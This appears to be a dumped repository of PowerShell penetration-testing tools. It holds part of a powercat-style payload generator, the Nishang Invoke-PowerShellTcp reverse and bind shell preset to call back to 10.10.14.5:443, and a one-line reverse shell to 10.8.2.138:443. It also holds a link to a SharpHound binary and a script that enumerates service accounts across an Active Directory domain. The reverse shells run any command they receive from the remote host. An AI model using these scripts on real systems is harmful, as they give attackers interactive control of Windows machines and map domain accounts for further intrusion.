elseif($r.split(":")[0].ToLower() -eq "tcp") 890 | { 891 | Write-Verbose "Set Stream 2: TCP" 892 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n") 893 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n") 894 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n") 895 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n") 896 | if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")} 897 | elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")} 898 | else{return "Bad relay format."} 899 | } 900 | } 901 | else 902 | { 903 | Write-Verbose "Set Stream 2: Console" 904 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n") 905 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n") 906 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n") 907 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n") 908 | $InvokeString += ("@('" + $o + "')") 909 | } 910 | 911 | if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")} 912 | else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")} 913 | $InvokeString = ($FunctionString + $InvokeString) 914 | ########## GENERATE PAYLOAD ########## 915 | 916 | ########## RETURN GENERATED PAYLOADS ########## 917 | if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))} 918 | elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString} 919 | ########## RETURN GENERATED PAYLOADS ########## 920 | 921 | ########## EXECUTION ########## 922 | $Output = $null 923 | try 924 | { 925 | if($rep) 926 | { 927 | while($True) 928 | { 929 | $Output += IEX $InvokeString 930 | Start-Sleep -s 2 931 | Write-Verbose "Repetition Enabled: Restarting..." 932 | } 933 | } 934 | else 935 | { 936 | $Output += IEX $InvokeString 937 | } 938 | } 939 | finally 940 | { 941 | if($Output -ne $null) 942 | { 943 | if($of -eq ""){$Output} 944 | else{[io.file]::WriteAllBytes($of,$Output)} 945 | } 946 | } 947 | ########## EXECUTION ########## 948 | } 949 | -------------------------------------------------------------------------------- /puckieshell443.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-PowerShellTcp 2 | { 3 | <# 4 | .SYNOPSIS 5 | Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 6 | 7 | .DESCRIPTION 8 | This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 9 | Also, a standard netcat can connect to this script Bind to a specific port. 10 | 11 | The script is derived from Powerfun written by Ben Turner & Dave Hardy 12 | 13 | .PARAMETER IPAddress 14 | The IP address to connect to when using the -Reverse switch. 15 | 16 | .PARAMETER Port 17 | The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. 18 | 19 | .EXAMPLE 20 | PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 21 | 22 | Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 23 | the given IP and port. 24 | 25 | .EXAMPLE 26 | PS > Invoke-PowerShellTcp -Bind -Port 4444 27 | 28 | Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 29 | 30 | .EXAMPLE 31 | PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 32 | 33 | Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be 34 | listening on the given IP and port. 35 | 36 | .LINK 37 | http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html 38 | https://github.com/nettitude/powershell/blob/master/powerfun.ps1 39 | https://github.com/samratashok/nishang 40 | #> 41 | [CmdletBinding(DefaultParameterSetName="reverse")] Param( 42 | 43 | [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] 44 | [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] 45 | [String] 46 | $IPAddress, 47 | 48 | [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] 49 | [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] 50 | [Int] 51 | $Port, 52 | 53 | [Parameter(ParameterSetName="reverse")] 54 | [Switch] 55 | $Reverse, 56 | 57 | [Parameter(ParameterSetName="bind")] 58 | [Switch] 59 | $Bind 60 | 61 | ) 62 | 63 | 64 | try 65 | { 66 | #Connect back if the reverse switch is used. 67 | if ($Reverse) 68 | { 69 | $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) 70 | } 71 | 72 | #Bind to the provided port if Bind switch is used. 73 | if ($Bind) 74 | { 75 | $listener = [System.Net.Sockets.TcpListener]$Port 76 | $listener.start() 77 | $client = $listener.AcceptTcpClient() 78 | } 79 | 80 | $stream = $client.GetStream() 81 | [byte[]]$bytes = 0..65535|%{0} 82 | 83 | #Send back current username and computername 84 | $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") 85 | $stream.Write($sendbytes,0,$sendbytes.Length) 86 | 87 | #Show an interactive PowerShell prompt 88 | $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') 89 | $stream.Write($sendbytes,0,$sendbytes.Length) 90 | 91 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) 92 | { 93 | $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding 94 | $data = $EncodedText.GetString($bytes,0, $i) 95 | try 96 | { 97 | #Execute the command on the target. 98 | $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) 99 | } 100 | catch 101 | { 102 | Write-Warning "Something went wrong with execution of command on the target." 103 | Write-Error $_ 104 | } 105 | $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' 106 | $x = ($error[0] | Out-String) 107 | $error.clear() 108 | $sendback2 = $sendback2 + $x 109 | 110 | #Return the results 111 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) 112 | $stream.Write($sendbyte,0,$sendbyte.Length) 113 | $stream.Flush() 114 | } 115 | $client.Close() 116 | if ($listener) 117 | { 118 | $listener.Stop() 119 | } 120 | } 121 | catch 122 | { 123 | Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 124 | Write-Error $_ 125 | } 126 | } 127 | Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 443 128 | -------------------------------------------------------------------------------- /rev.ps1: -------------------------------------------------------------------------------- 1 | $c = New-Object Net.Sockets.TCPClient('10.8.2.138',443);$s = $c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $d 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$ssb = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($ssb,0,$ssb.Length);$s.Flush()};$c.Close( -------------------------------------------------------------------------------- /sharphound.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puckiestyle/powershell/b7ecb7888b1206b91f5add5146052eff7604636b/sharphound.exe -------------------------------------------------------------------------------- /windows-service-accounts-enumeration.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Service account report scrip that reads service configuration from 3 | all Windows servers in the current domain and generate a report listing all 4 | domain accounts used as service logon account. 5 | 6 | By Andrea Fortuna (andrea@andreafortuna.org) 7 | 8 | *** Based on "report-service-accounts.ps1" by Gleb Yourchenko (fnugry@null.net) *** 9 | #> 10 | 11 | $reportFile = ".\report.html" 12 | $maxThreads = 10 13 | $currentDomain = $env:USERDOMAIN.ToUpper() 14 | $serviceAccounts = @{} 15 | [string[]]$warnings = @() 16 | 17 | 18 | $readServiceAccounts = { 19 | 20 | # Retrieve service list form a remote machine 21 | 22 | param( $hostname ) 23 | if ( Test-Connection -ComputerName $hostname -Count 3 -Quiet ){ 24 | try { 25 | $serviceList = @( gwmi -Class Win32_Service -ComputerName $hostname -Property Name,StartName,SystemName -ErrorAction Stop ) 26 | $serviceList 27 | } 28 | catch{ 29 | "Failed to retrieve data from $hostname : $($_.toString())" 30 | } 31 | } 32 | else{ 33 | "$hostname is unreachable" 34 | } 35 | } 36 | 37 | 38 | 39 | function processCompletedJobs(){ 40 | # reads service list from completed jobs,updates $serviceAccount table and removes completed job 41 | 42 | $jobs = Get-Job -State Completed 43 | foreach( $job in $jobs ) { 44 | 45 | $data = Receive-Job $job 46 | Remove-Job $job 47 | 48 | if ( $data.GetType() -eq [Object[]] ){ 49 | $serviceList = $data | ? { $_.StartName.toUpper().StartsWith( $currentDomain )} 50 | foreach( $service in $serviceList ){ 51 | $account = $service.StartName 52 | $occurance = "`"$($service.Name)`" service on $($service.SystemName)" 53 | if ( $script:serviceAccounts.Contains( $account ) ){ 54 | $script:serviceAccounts.Item($account) += $occurance 55 | } 56 | else { 57 | $script:serviceAccounts.Add( $account, @( $occurance ) ) 58 | } 59 | } 60 | } 61 | elseif ( $data.GetType() -eq [String] ) { 62 | $script:warnings += $data 63 | Write-warning $data 64 | } 65 | } 66 | } 67 | 68 | 69 | ################# MAIN ######################### 70 | 71 | 72 | Import-Module ActiveDirectory 73 | 74 | 75 | # read computer accounts from current domain 76 | Write-Progress -Activity "Retrieving server list from domain" -Status "Processing..." -PercentComplete 0 77 | $serverList = Get-ADComputer -Filter {OperatingSystem -like "Windows Server*"} -Properties DNSHostName, cn | ? { $_.enabled } 78 | 79 | 80 | # start data retrieval job for each server in the list 81 | # use up to $maxThreads threads 82 | $count_servers = 0 83 | foreach( $server in $serverList ){ 84 | Start-Job -ScriptBlock $readServiceAccounts -Name "read_$($server.cn)" -ArgumentList $server.dnshostname | Out-Null 85 | ++$count_servers 86 | Write-Progress -Activity "Retrieving data from servers" -Status "Processing..." -PercentComplete ( $count_servers * 100 / $serverList.Count ) 87 | while ( ( Get-Job -State Running).count -ge $maxThreads ) { Start-Sleep -Seconds 3 } 88 | processCompletedJobs 89 | } 90 | 91 | # process remaining jobs 92 | Write-Progress -Activity "Retrieving data from servers" -Status "Waiting for background jobs to complete..." -PercentComplete 100 93 | Wait-Job -State Running -Timeout 30 | Out-Null 94 | Get-Job -State Running | Stop-Job 95 | processCompletedJobs 96 | 97 | 98 | # prepare data table for report 99 | Write-Progress -Activity "Generating report" -Status "Please wait..." -PercentComplete 0 100 | $accountTable = @() 101 | foreach( $serviceAccount in $serviceAccounts.Keys ) { 102 | foreach( $occurance in $serviceAccounts.item($serviceAccount) ){ 103 | $row = new-object psobject 104 | Add-Member -InputObject $row -MemberType NoteProperty -Name "Account" -Value $serviceAccount 105 | Add-Member -InputObject $row -MemberType NoteProperty -Name "Usage" -Value $occurance 106 | $accountTable += $row 107 | } 108 | } 109 | 110 | # create report 111 | $report = " 112 | 113 | 114 | 115 | 120 | 121 | 122 |

Service account report for $currentDomain domain

123 | $($serverList.count) servers processed. Discovered $($serviceAccounts.count) service accounts. 124 |

Discovered service accounts

125 | $( $accountTable | Sort Account | ConvertTo-Html Account, Usage -Fragment ) 126 |

Warning messages

127 | $( $warnings | % { "

$_

" } ) 128 | 129 | " 130 | 131 | Write-Progress -Activity "Generating report" -Status "Please wait..." -Completed 132 | $report | Set-Content $reportFile -Force 133 | Invoke-Expression $reportFile 134 | 135 | --------------------------------------------------------------------------------